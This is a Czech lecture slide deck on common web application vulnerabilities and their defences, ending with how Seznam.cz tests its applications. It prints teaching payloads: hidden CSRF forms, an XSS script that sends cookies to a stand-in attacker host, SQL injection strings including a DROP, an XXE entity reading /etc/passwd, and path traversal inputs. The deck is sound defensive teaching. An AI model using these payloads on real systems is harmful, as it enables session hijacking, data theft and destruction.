Upload
ccuminn
View
1.788
Download
0
Embed Size (px)
DESCRIPTION
Slajdy z přednášky o nejčastějších webových zranitelnostech a penetračním testování.
Citation preview
Zranitelnosti webových aplikací
Testování webových aplikací
Roman Kümmel
Zranitelnosti webových aplikací
Bezpečnostní hrozby
Síťové prvky, servery
VPN, Remote desktop
Webové aplikace
Útoky proti uživatelům
Clickjacking
CSRF
CRLF injection
XSS
Útoky proti aplikaci
SQL injection
Forced browsing
Nezabezpečený upload
Local File Include
DoS, DDoS Sociotechnika Wi-Fi
XML External Entity
Zranitelnosti webových aplikací
Cross-Site Request Forgery (CSRF)
- Zneužití důvěry serveru v uživatele
- Nic netušící uživatel odešle serveru GET/POST požadavek
- Skript na serveru rozpozná uživatele podle cookie a požadavek pod identitou uživatele vykoná
- Může jít také o XMLHttpRequesty (AJAX požadavky)
Zranitelnosti webových aplikací
Cross-Site Request Forgery (CSRF) metoda GET
- Útočník odešle uživateli odkaz pro odeslání nebezpečného požadavku cílové aplikaci
- Možnost zneužití HTML prvků načítajících externí obsah
http://www.webmail.cz/[email protected]
<img src=http://www.webmail.cz/[email protected]>
Zranitelnosti webových aplikací
Cross-Site Request Forgery (CSRF) metoda POST
- Útočník vytvoří webovou stránku, která sama odešle nebezpečné požadavky cílové aplikaci ve chvíli, kdy ji (přihlášený) uživatel navštíví
- Pro utajení akce se formulář vloží do skrytého rámu
<form name=“fake“ method=“post“ action=“http://aplikace.cz/remail“> <input type=“hidden“ name=“email“ value=“[email protected]“> </form>
<script>document.fake.submit();</script>
Zranitelnosti webových aplikací
Cross-Site Request Forgery (CSRF)
- Kontrola HTTP hlavičky REFERER - Nedoporučuji, možnost odeslání požadavků bez této hlavičky
- Kontrola hlavičky ORIGIN u XMLHttpRequestů - Podobná situace jako u hlavičky Referer
- Přidání autorizačního tokenu ke všem požadavkům - Útočník nemůže připravit útočný požadavek bez jeho znalosti - Ideální je platnost tokenu časově omezit
OBRANA
http://aplikace.cz/[email protected]&ticket=ba5e5aa2f472
Zranitelnosti webových aplikací
Bezpečnostní hrozby
Síťové prvky, servery
VPN, Remote desktop
Webové aplikace
Útoky proti uživatelům
Clickjacking
CSRF
CRLF injection
XSS
Útoky proti aplikaci
SQL injection
Forced browsing
DoS, DDoS Sociotechnika Wi-Fi
Nezabezpečený upload
Local File Include
XML External Entity
Zranitelnosti webových aplikací
Clickjacking
- Je-li nasazena ochrana před útoky CSRF
- Nic netušící uživatel sám klikne na prvek nebo vyplní a odešle formulář, bez toho, aby věděl, co vlastně dělá.
- Útok založen na možnosti načíst web. stránku do rámu
- Průhlednost rámu - Překrytí nechtěných prvků
- Vkládání údajů do aplikace, nebo krádež dat z aplikace.
Zranitelnosti webových aplikací
Clickjacking
- JavaScript FrameKiller - if (top.location != self.location) - Nedoporučuji
- možnost načtení zdrojáku view-source: - Lze vyřadit zneužitím XSS filtru
- HTTP Response Hlavička X-Frame Options - DENY - SAMEORIGIN - ALLOW-FROM
- Content Security Policy
OBRANA
Zranitelnosti webových aplikací
Bezpečnostní hrozby
Síťové prvky, servery
VPN, Remote desktop
Webové aplikace
Útoky proti uživatelům
Clickjacking
CSRF
CRLF injection
XSS
Útoky proti aplikaci
SQL injection
Forced browsing
DoS, DDoS Sociotechnika Wi-Fi
Nezabezpečený upload
Local File Include
XML External Entity
Zranitelnosti webových aplikací
Cross-Site Scripting (XSS)
- Spuštění JavaScriptu v uživatelově prohlížeči - Same Origin Policy brání přístupu k jiným doménám - Injekce skriptu do webové aplikace umožňuje přístup ke všem
jejím objektům (čtení/zápis) - Únos sezení - Změna nebo čtení uložených dat (podvržení přihlašovacích formulářů, atd.) - XSS proxy
- Typy zranitelnosti XSS - Perzistentní - Non-Perzistentní - DOM based
Zranitelnosti webových aplikací
Cross-Site Scripting (XSS)
<script> document.write (“<img src=‘http://utocnik.cz/save?cookie=‘+document.cookie>“);
</script>
Únos sezení – Session stealing
Zranitelnosti webových aplikací
Cross-Site Scripting (XSS)
<div>Uživatelský příspěvek: <script>alert(1)</script></div> ------------------------------------------------------------------------------------------ <form> <input type=“text“ value=““><script>alert(1)</script>“> </form> ------------------------------------------------------------------------------------------ <input type=“text“ value=““ onclick=“alert(1)“> ------------------------------------------------------------------------------------------ <script type="text/javascript"> DOT.cfg({service: 'firmy', query:‚''});alert(1);//'}); </script> ------------------------------------------------------------------------------------------ <a href=“javascript:alert(1)“>odkaz</a>
Zranitelnosti webových aplikací
Cross-Site Scripting (XSS)
var json = eval("(" + xhr.responseText + ")");
{"a":10, "b":20, "c":alert(1)} {"a":10, "b":20, "c":"alert(1)"}
“ + alert(“XSS“) + “
{“a“: ““ + alert(“XSS“) + ““} {“a“: “\“ + alert(\“XSS\“) + \““}
AJAX
Zranitelnosti webových aplikací
Cross-Site Scripting (XSS)
- Náhrada metaznaků “ ‘ & < > za HTML entity <
- Escapování metaznaků v řetězcích JavaScriptu \‘
OBRANA
Zranitelnosti webových aplikací
Bezpečnostní hrozby
Síťové prvky, servery
VPN, Remote desktop
Webové aplikace
Útoky proti uživatelům
Clickjacking
CSRF
CRLF injection
XSS
Útoky proti aplikaci
SQL injection
Forced browsing
DoS, DDoS Sociotechnika Wi-Fi
Nezabezpečený upload
Local File Include
XML External Entity
Zranitelnosti webových aplikací
CRLF injection
Request: http://www.seznam.cz?foo=test Response: Status: Found - 302 Location: https://www.seznam.cz?foo=test
Zranitelnosti webových aplikací
CRLF injection
Injekce HTTP hlaviček vložením bílých znaků CR+LF Request: http://www.seznam.cz?foo=test%0D%0AHeader:Value Response: Status: Found - 302 Location: https://www.seznam.cz?foo=test Header: Value
Zranitelnosti webových aplikací
CRLF injection
- Ošetřit bílé znaky před vložením hodnoty do hlavičky - například URL encoding
OBRANA
Zranitelnosti webových aplikací
Bezpečnostní hrozby
Síťové prvky, servery
VPN, Remote desktop
Webové aplikace
Útoky proti uživatelům
Clickjacking
CSRF
CRLF injection
XSS
Útoky proti aplikaci
SQL injection
Forced browsing
DoS, DDoS Sociotechnika Wi-Fi
Nezabezpečený upload
Local File Include
XML External Entity
Zranitelnosti webových aplikací
SQL injection
www.webmail.cz?name=pepa $name = $_GET[‘name‘] $query = “SELECT * FROM database WHERE name=‘$name‘“
SELECT * FROM database WHERE name=‘pepa‘
Zranitelnosti webových aplikací
SQL injection
www.webmail.cz?name=‘ OR ‘a‘=‘a $name = $_GET[‘name‘] $query = “SELECT * FROM database WHERE name=‘$name‘“
SELECT * FROM database WHERE name=‘‘ OR ‘a‘=‘a‘ SELECT * FROM database WHERE name=‘‘; DROP database--‘
Zranitelnosti webových aplikací
SQL injection
Escapovat metaznaky (apostrofy) SELECT * FROM database WHERE name=‘\‘ OR \‘A\‘=\‘A‘
Zdvojovat metaznaky (apostrofy) SELECT * FROM database WHERE name=‘‘‘ OR ‘‘A ‘‘= ‘‘A‘
Používat uložené procedury, kontrolu na nižších vrstvách, prepared statement
Pozor na escapování u vícebajtových znakových sad! ‘ => \‘ %BF‘ => %BF\‘ addslashes() => mysql_real_escape_string()
magic_quotes
OBRANA
Zranitelnosti webových aplikací
SQL injection
www.webmail.cz?id=1 $id = $_GET[‘id‘] $query = “SELECT * FROM database WHERE id=$id“
SELECT * FROM database WHERE id=1
Zranitelnosti webových aplikací
SQL injection
www.webmail.cz?id=1 or 1=1 $id = $_GET[‘id‘] $query = “SELECT * FROM database WHERE id=$id“
SELECT * FROM database WHERE id=1 or 1=1
Zranitelnosti webových aplikací
SQL injection
Přetypováním: $id = (int)$_GET[‘id‘]
Uzavírání číselných hodnot do apostrofů + jejich ošetření www.webmail.cz?id=1 or 1=1 $query = “SELECT * FROM database WHERE id=‘$id‘“ SELECT * FROM database WHERE id=‘1 OR 1=1‘
www.webmail.cz?id=1‘ or ‘1‘=‘1 SELECT * FROM database WHERE id=‘1\‘ or \‘1\‘=\‘1‘
Uložené procedury, kontrola na nižších vrstvách, prepared statement
OBRANA
Zranitelnosti webových aplikací
Bezpečnostní hrozby
Síťové prvky, servery
VPN, Remote desktop
Webové aplikace
Útoky proti uživatelům
Clickjacking
CSRF
CRLF injection
XSS
Útoky proti aplikaci
SQL injection
Forced browsing
DoS, DDoS Sociotechnika Wi-Fi
Nezabezpečený upload
Local File Include
XML External Entity
Zranitelnosti webových aplikací
Forced browsing
- Procházení stránek změnou id v požadavku - Možnost získání celých databází
OBRANA - Nepoužívat id v požadavcích - Používat jedinečný identifikátor - Používání Captchy při mnoha požadavcích - Pozor na nedostatečnou autorizaci
Zranitelnosti webových aplikací
Bezpečnostní hrozby
Síťové prvky, servery
VPN, Remote desktop
Webové aplikace
Útoky proti uživatelům
Clickjacking
CSRF
CRLF injection
XSS
Útoky proti aplikaci
SQL injection
Forced browsing
DoS, DDoS Sociotechnika Wi-Fi
Nezabezpečený upload
Local File Include
XML External Entity
Zranitelnosti webových aplikací
XML External Entity (XXE)
- Full Path Disclosure - Cross-Site Scripting (XSS) - Server-Side Request Forgery (SSRF) - Scanning Internal Network - Denial of Service (DoS) - Local File Disclusion - atd.
Co s tím?
Zranitelnosti webových aplikací
XML External Entity (XXE)
<?xml version="1.0"?> <!DOCTYPE contacts [ <!ELEMENT contact (login,name)> <!ELEMENT login (#PCDATA)> <!ELEMENT name (#PCDATA)> ]> <contacts> <contact> <login>karel</login> <name>Karel Novotný</name> </contact> <contact> <login>jana</login> <name>Jana Nádherná</name> </contact> </contacts>
Struktura XML dokumentu
DTD (Document Type Definition)
Document Content
Zranitelnosti webových aplikací
XML External Entity (XXE)
<?xml version="1.0"?> <!DOCTYPE contacts [ <!ENTITY prijmeni "Novotný"> ]> <contacts> <contact> <login>karel</login> <name>Karel &prijmeni;</name> </contact> <contact> <login>petr</login> <name>Petr &prijmeni;</name> </contact> </contacts>
Interní entity v XML
<contacts> <contact> <login>karel</login> <name>Karel Novotný</name> </contact> <contact> <login>petr</login> <name>Petr Novotný</name> </contact> </contacts>
Zranitelnosti webových aplikací
XML External Entity (XXE)
<?xml version="1.0"?> <!DOCTYPE contacts [ <!ENTITY note SYSTEM "./note/novotny.txt "> ]> <contacts> <contact> <login>karel</login> <name>Karel Novotný</name> <note>¬e;</note> </contact> </contacts>
Externí entity v XML
<contacts> <contact> <login>karel</login> <name>Karel Novotný</name> <note>Textová poznámka ze souboru</note> </contact> </contacts>
Zranitelnosti webových aplikací
XML External Entity (XXE)
<?xml version="1.0"?> <!DOCTYPE contacts [ <!ENTITY note SYSTEM „/etc/passwd"> ]> <contacts> <contact> <login>karel</login> <name>Karel Novotný</name> <note>¬e;</note> </contact> </contacts>
Attack: Local File Disclusion
<contacts> <contact> <login>karel</login> <name>Karel Novotný</name> <note> root:!:0:0::/:/usr/bin/ksh daemon:!:1:1::/etc: bin:!:2:2::/bin: sys:!:3:3::/usr/sys: adm:!:4:4::/var/adm: uucp:!:5:5::/usr/lib/uucp: guest:!:100:100::/home/guest: lp:*:11:11::/var/spool/lp:/bin/false nuucp:*:6:5:uucp login Doe:/home/jdoe:/usr/bin/ksh
</note> </contact> </contacts>
Zranitelnosti webových aplikací
Bezpečnostní hrozby
Síťové prvky, servery
VPN, Remote desktop
Webové aplikace
Útoky proti uživatelům
Clickjacking
CSRF
CRLF injection
XSS
Útoky proti aplikaci
SQL injection
Forced browsing
DoS, DDoS Sociotechnika Wi-Fi
Nezabezpečený upload
Local File Include
XML External Entity
Zranitelnosti webových aplikací
Nezabezpečený upload
- Kontrolovat typ a strukturu uploadovaných dat - Konvertovat obrázky - Ošetřit bílé znaky a znaky pro procházení adresářů v
názvu uploadovaného souboru (použít nový název) - Zakázat spouštění skriptů v adresářích pro upload
OBRANA
- Upload serverového skriptu a jeho spuštění může vést k ovládnutí serveru
- Zneužití důvěryhodné domény k uploadu souborů sloužících k infikování počítačů konečných uživatelů
Zranitelnosti webových aplikací
Bezpečnostní hrozby
Síťové prvky, servery
VPN, Remote desktop
Webové aplikace
Útoky proti uživatelům
Clickjacking
CSRF
CRLF injection
XSS
Útoky proti aplikaci
SQL injection
Forced browsing
DoS, DDoS Sociotechnika Wi-Fi
Local File Include
XML External Entity
Nezabezpečený upload
Zranitelnosti webových aplikací
Local File Inclusion (disclosure)
- Možnost zobrazení nebo spuštění serverového skriptu
- Script lze na server dostat: - Uploadem souboru - Uploadem nakaženého obrázku - Přes cookies a session proměnné - Enviroment (proc/self/environ)
- Zneužitím logů (var/www/logs/access_log, apd.)
Zranitelnosti webových aplikací
Local File Inclusion (disclosure)
GET: webmail.cz?action=view.php $page = $_GET[“action“]; Include($page); webmail.cz?action=../../../../etc/passwd webmail.cz?action=../images/foto.jpg
Zranitelnosti webových aplikací
Local File Inclusion (disclosure)
- Vhodně nastavený webový server
- Neincludovat soubory na základě proměnné obdržené od uživatele
- Ošetřit výskyt sekvence ../
OBRANA
Zranitelnosti webových aplikací
Bezpečnostní hrozby
Síťové prvky, servery
VPN, Remote desktop
Webové aplikace
Útoky proti uživatelům
Clickjacking
CSRF
CRLF injection
XSS
Útoky proti aplikaci
SQL injection
Forced browsing
DoS, DDoS Sociotechnika Wi-Fi
http://webmail.hackingvpraxi.cz
Webmail použitý v ukázkách je dostupný na adrese
XML External Entity
Local File Include
Nezabezpečený upload
Zranitelnosti webových aplikací
Penetrační testování
Automatické vs.
manuální testování
Zranitelnosti webových aplikací
Automatické testování
- Klady - Rychlost - Odstraňují opakující se úkony (../ ../../ ../../../ ../../../../) - Hledání konfiguračních souborů - Fuzzing - apd.
- Zápory - Nelze se na ně plně spolehnout - Mnoho „false positive“ hlášení - Nedokáží odhalit reakce projevující se na jiných místech - Při důkladných testech se nelze manuálním testům vyhnout
Zranitelnosti webových aplikací
Manuální testování
- Klady - Důkladná analýza výstupu umožní lépe přizpůsobit
následné testy - Je možné odhalit i reakce projevující se na jiných místech
aplikace
- Zápory - Pentester je také jen člověk a může něco přehlédnout - Opakující se činnosti jsou časově náročné a vyčerpávající
Zranitelnosti webových aplikací
Jak zajišťujeme bezpečnost aplikací
v Seznam.cz
Zranitelnosti webových aplikací
- Vzděláváním vývojářů - Penetračním testováním betaverzí - Průběžnou kontrolou ostrých verzí - Vulnerability scanner (Acunetix) - Neodsuzujeme white hat hacking (BugTrack na SOOM.cz)
Jak zajišťujeme bezpečnost aplikací v Seznam.cz
Zabezpečení webových aplikací
Dotazy
Zranitelnosti webových aplikací
Děkuji za pozornost